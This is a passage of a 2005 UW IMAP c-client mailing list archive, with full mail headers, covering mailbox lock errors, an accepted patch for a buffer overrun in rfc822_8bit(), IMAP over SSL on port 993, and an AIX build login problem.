(8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j0ACZPb9032356 for ; Mon, 10 Jan 2005 04:35:25 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0ACZOro020660 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 10 Jan 2005 04:35:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with SMTP id j0ACZCiO012430; Mon, 10 Jan 2005 04:35:14 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j0ACXK13046484 for ; Mon, 10 Jan 2005 04:33:20 -0800 Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201]) by mxe7.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j0ACXJjL003211 for ; Mon, 10 Jan 2005 04:33:19 -0800 Received: by wproxy.gmail.com with SMTP id 68so82353wra for ; Mon, 10 Jan 2005 04:33:19 -0800 (PST) Received: by 10.54.29.76 with SMTP id c76mr203567wrc; Mon, 10 Jan 2005 04:33:18 -0800 (PST) Received: by 10.54.11.6 with HTTP; Mon, 10 Jan 2005 04:33:18 -0800 (PST) Message-Id: <270ea792050110043352266ae9@mail.gmail.com> Date: Mon, 10 Jan 2005 13:33:18 +0100 Reply-To: Stefan Schulte Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Stefan Schulte To: c-client@u.washington.edu Subject: unable to lock append mailbox Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, i am experiencing with UW imap and the tmail program. My test system is a debian sarge system, I'm using the mbx mailbox format. Sometimes (and I don't see any dependencies) the tmail program writes the error message "unable to lock append mailbox". After that, tmail writes the message "retrying delivery to INBOX". In some cases the delivery fails and sometimes the new try succeeds. Could anybody tell me, what this error message means and how I can fix this error ? Many thanks Stefan -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 10 04:53:44 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Jan 2005 04:53:44 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j0ACrij6000493 for ; Mon, 10 Jan 2005 04:53:44 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0ACrhfj023665 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 10 Jan 2005 04:53:44 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with SMTP id j0ACrcY9012540; Mon, 10 Jan 2005 04:53:38 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j0ACqkaM055154 for ; Mon, 10 Jan 2005 04:52:46 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j0ACqjYm018214 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 10 Jan 2005 04:52:45 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j0ACqj6C002498; Mon, 10 Jan 2005 04:52:45 -0800 Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.2+UW05.01) with ESMTP id j0ACqhhF015372 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 10 Jan 2005 04:52:44 -0800 Message-Id: Date: Mon, 10 Jan 2005 04:52:38 -0800 (=?ISO-2022-JP?B?kb6VvZdtlVePgI6e?=) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Stefan Schulte Cc: c-client@u.washington.edu Subject: Re: unable to lock append mailbox In-Reply-To: <270ea792050110043352266ae9@mail.gmail.com> References: <270ea792050110043352266ae9@mail.gmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 10 Jan 2005, Stefan Schulte wrote: > Sometimes (and I don't see any dependencies) the tmail program > writes the error message "unable to lock append mailbox". The most likely cause is that either the /tmp directory is protected other than 1777, or that the lock file protection was changed from the (correct) 0666 to something else. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Jan 11 14:52:10 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Jan 2005 14:52:10 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j0BMqAPB014550 for ; Tue, 11 Jan 2005 14:52:10 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0BMq9J2022056 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 11 Jan 2005 14:52:10 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with SMTP id j0BMpwMW005190; Tue, 11 Jan 2005 14:51:58 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j0BMoCBR024072 for ; Tue, 11 Jan 2005 14:50:12 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0BMoCdi010253 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 11 Jan 2005 14:50:12 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j0BMoBLP020695; Tue, 11 Jan 2005 14:50:11 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.2+UW05.01) with ESMTP id j0BMoBdH023159 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 11 Jan 2005 14:50:11 -0800 Message-Id: Date: Tue, 11 Jan 2005 14:50:23 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Antony Dovgal Cc: c-client@u.washington.edu Subject: Re: [PATCH] buffer overrun in rfc822_8bit() In-Reply-To: <20050107020020.19e92285.tony2001@phpclub.net> References: <20050107020020.19e92285.tony2001@phpclub.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you. I agree with your suggested patch, and it will be in the next release. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Jan 11 14:56:28 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Jan 2005 14:56:28 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j0BMuSxZ014709 for ; Tue, 11 Jan 2005 14:56:28 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0BMuRDv016305 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 11 Jan 2005 14:56:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with SMTP id j0BMuMSB014658; Tue, 11 Jan 2005 14:56:22 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j0BMtwab067844 for ; Tue, 11 Jan 2005 14:55:58 -0800 Received: from smtp.unet.ru (smtp.unet.ru [213.219.244.56]) by mxe7.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j0BMttvH004875 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 11 Jan 2005 14:55:57 -0800 Received: from host.phpclub.net by smtp.unet.ru (8.12.9/Unet) with ESMTP id j0BMtooS068348; Wed, 12 Jan 2005 01:55:51 +0300 (MSK) Received: from armada by host.phpclub.net (8.12.6/Unet) with ESMTP id j0BMtgbQ030562; Wed, 12 Jan 2005 01:55:46 +0300 (MSK) Message-Id: <20050112015538.03673439.tony2001@phpclub.net> Date: Wed, 12 Jan 2005 01:55:38 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Antony Dovgal To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: [PATCH] buffer overrun in rfc822_8bit() In-Reply-To: References: <20050107020020.19e92285.tony2001@phpclub.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 11 Jan 2005 14:50:23 -0800 (Pacific Standard Time) Mark Crispin wrote: > Thank you. I agree with your suggested patch, and it will be in the > next release. Thanks! -- Wbr, Antony Dovgal aka tony2001 From pinedev@shivax2.cac.washington.edu Tue Jan 11 15:50:43 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Jan 2005 15:50:43 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j0BNog1X017204 for ; Tue, 11 Jan 2005 15:50:42 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0BNofqf025729 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 11 Jan 2005 15:50:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with SMTP id j0BNoZQX015692; Tue, 11 Jan 2005 15:50:35 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j0BNnjHR048296 for ; Tue, 11 Jan 2005 15:49:45 -0800 Received: from web50905.mail.yahoo.com (web50905.mail.yahoo.com [206.190.38.125]) by mxe3.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with SMTP id j0BNnipm010116 for ; Tue, 11 Jan 2005 15:49:44 -0800 Received: (qmail 48435 invoked by uid 60001); 11 Jan 2005 23:49:44 -0000 Received: from [128.107.253.42] by web50905.mail.yahoo.com via HTTP; Tue, 11 Jan 2005 15:49:44 PST Message-Id: <20050111234944.48433.qmail@web50905.mail.yahoo.com> Date: Tue, 11 Jan 2005 15:49:44 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Biggs To: IMAP Mailer Subject: IMAP over SSL using port 993? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I've run into a bit of difficulty getting a secure connection established between c-client and Exchange, and was wondering if folks on this list may have had experience dealing with this particular problem. Specifically, I am finding that although Exchange doesn't appear to support the STARTTLS capability (if you know how to turn this on please let me know!), it does apparently listen to port 993 for connections that begin with a TLS negotiation, followed by IMAP. I suspect this is considered pretty non-standard, and out of scope for c-client. Nonetheless, its a problem I need to solve. I was hoping for suggestions on how I might go about making this work. My first inclination would be to write my own code to establish the connection, using OpenSSL to secure it, and then perhaps hand the established socket in to c-client. Any thoughts or suggestions would be most appreciated. Thanks, Andrew -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 11 15:58:40 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Jan 2005 15:58:40 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j0BNweC7017449 for ; Tue, 11 Jan 2005 15:58:40 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0BNwdaY001356 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 11 Jan 2005 15:58:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with SMTP id j0BNwXV6008314; Tue, 11 Jan 2005 15:58:33 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j0BNw9mc046776 for ; Tue, 11 Jan 2005 15:58:09 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0BNw8p2000626 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 11 Jan 2005 15:58:09 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j0BNw5xX005092; Tue, 11 Jan 2005 15:58:05 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.2+UW05.01) with ESMTP id j0BNw4en004683 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 11 Jan 2005 15:58:05 -0800 Message-Id: Date: Tue, 11 Jan 2005 15:58:16 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrew Biggs Cc: IMAP Mailer Subject: Re: IMAP over SSL using port 993? In-Reply-To: <20050111234944.48433.qmail@web50905.mail.yahoo.com> References: <20050111234944.48433.qmail@web50905.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 11 Jan 2005, Andrew Biggs wrote: > Specifically, I am finding that although Exchange > doesn't appear to support the STARTTLS capability (if > you know how to turn this on please let me know!), it > does apparently listen to port 993 for connections > that begin with a TLS negotiation, followed by IMAP. SSL negotiation, not TLS negotiation. Specifically, the SSLv23 method, as opposed to the TLSv1 method. > I suspect this is considered pretty non-standard, and > out of scope for c-client. Nonetheless, its a problem > I need to solve. It's standard, but an older standard; and it is supported by c-client. > I was hoping for suggestions on how I might go about > making this work. The work is already done for you. Just add "/ssl" after the host name in the mailbox specification, e.g. {imap.example.com/ssl}INBOX -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Jan 11 17:44:57 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Jan 2005 17:44:57 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j0C1ivF0021474 for ; Tue, 11 Jan 2005 17:44:57 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0C1iuIC019782 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 11 Jan 2005 17:44:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with SMTP id j0C1ihvH012780; Tue, 11 Jan 2005 17:44:43 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j0C1hXaE046652 for ; Tue, 11 Jan 2005 17:43:33 -0800 Received: from web50908.mail.yahoo.com (web50908.mail.yahoo.com [206.190.38.128]) by mxe4.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with SMTP id j0C1hWSh026135 for ; Tue, 11 Jan 2005 17:43:33 -0800 Received: (qmail 81679 invoked by uid 60001); 12 Jan 2005 01:43:32 -0000 Received: from [128.107.253.42] by web50908.mail.yahoo.com via HTTP; Tue, 11 Jan 2005 17:43:32 PST Message-Id: <20050112014332.81677.qmail@web50908.mail.yahoo.com> Date: Tue, 11 Jan 2005 17:43:32 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Biggs To: IMAP Mailer Subject: Re: IMAP over SSL using port 993? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Excellent, you just made my day. Thanks Mark! Mark Crispin wrote: > On Tue, 11 Jan 2005, Andrew Biggs wrote: > >> Specifically, I am finding that although Exchange >> doesn't appear to support the STARTTLS capability (if >> you know how to turn this on please let me know!), it >> does apparently listen to port 993 for connections >> that begin with a TLS negotiation, followed by IMAP. > > > SSL negotiation, not TLS negotiation. Specifically, the SSLv23 method, as opposed to the TLSv1 method. > >> I suspect this is considered pretty non-standard, and >> out of scope for c-client. Nonetheless, its a problem >> I need to solve. > > > It's standard, but an older standard; and it is supported by c-client. > >> I was hoping for suggestions on how I might go about >> making this work. > > > The work is already done for you. > > Just add "/ssl" after the host name in the mailbox specification, e.g. > {imap.example.com/ssl}INBOX > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jan 12 13:24:05 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Jan 2005 13:24:05 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW05.01) with ESMTP id j0CLO58P001774 for ; Wed, 12 Jan 2005 13:24:05 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0CLO4Qv016481 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 12 Jan 2005 13:24:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with SMTP id j0CLNse0017930; Wed, 12 Jan 2005 13:23:54 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0CLMQ52049640 for ; Wed, 12 Jan 2005 13:22:26 -0800 Received: from loyno.edu (nadal.loyno.edu [141.164.24.217]) by mxe2.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0CLMPvX022562 for ; Wed, 12 Jan 2005 13:22:25 -0800 Received: from [141.164.24.128] (klein.loyno.edu [141.164.24.128]) by loyno.edu (8.12.11/8.12.11) with ESMTP id j0CLMNhr2941002 for ; Wed, 12 Jan 2005 15:22:24 -0600 Message-Id: <0CC445CD-64E0-11D9-A034-000393671B6E@loyno.edu> Date: Wed, 12 Jan 2005 15:22:23 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Klein To: c-client@u.washington.edu Subject: building imap on aix 5.2 Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed X-PMX-Version: 4.7.0.111621, Antispam-Engine: 2.0.2.0, Antispam-Data: 2005.1.12.21 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have recently tried to build imapd on aix 5.2, build NOSSL a41. After installation, i cannot log into my imap account, I get some authorization type error. I have previously built imapd without incident! Mike Klein Manager of System Services Loyola University New Orleans 6363 St. Charles Ave. New Orleans, LA 70118 (504) 865-3470 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 12 13:27:30 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Jan 2005 13:27:30 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW05.01) with ESMTP id j0CLRUbQ001951 for ; Wed, 12 Jan 2005 13:27:30 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0CLRTa7016995 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 12 Jan 2005 13:27:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with SMTP id j0CLRIVo014500; Wed, 12 Jan 2005 13:27:19 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0CLQgu6078634 for ; Wed, 12 Jan 2005 13:26:42 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0CLQgMU024580 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 12 Jan 2005 13:26:42 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW05.01) with ESMTP id j0CLQf5F001540; Wed, 12 Jan 2005 13:26:41 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.3+UW05.01/8.13.2+UW05.01) with ESMTP id j0CLQfZ2019393; Wed, 12 Jan 2005 13:26:41 -0800 Message-Id: Date: Wed, 12 Jan 2005 13:26:41 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Klein Cc: c-client@u.washington.edu Subject: Re: building imap on aix 5.2 In-Reply-To: <0CC445CD-64E0-11D9-A034-000393671B6E@loyno.edu> References: <0CC445CD-64E0-11D9-A034-000393671B6E@loyno.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 12 Jan 2005, Mike Klein wrote: > I have recently tried to build imapd on aix 5.2, build NOSSL a41. After > installation, i cannot log into my imap account, I get some authorization > type error. I have previously built imapd without incident! What is the exact text of the error message that you received? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jan 12 13:29:11 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Jan 2005 13:29:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW05.01) with ESMTP id j0CLTBK4002017 for ; Wed, 12 Jan 2005 13:29:11 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.2+UW05.01) with ESMTP id j0CLT98S008819 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 12 Jan 2005 13:29:10 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with SMTP id j0CLT3YB008006; Wed, 12 Jan 2005 13:29:05 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0CLSK2v102850 for ; Wed, 12 Jan 2005 13:28:20 -0800 Received: from loyno.edu (nadal.loyno.edu [141.164.24.217]) by mxe1.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0CLSJQo025209 for ; Wed, 12 Jan 2005 13:28:19 -0800 Received: from [141.164.24.128] (klein.loyno.edu [141.164.24.128]) by loyno.edu (8.12.11/8.12.11) with ESMTP id j0CLSFOX1302720; Wed, 12 Jan 2005 15:28:16 -0600 Message-Id: Date: Wed, 12 Jan 2005 15:28:15 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: 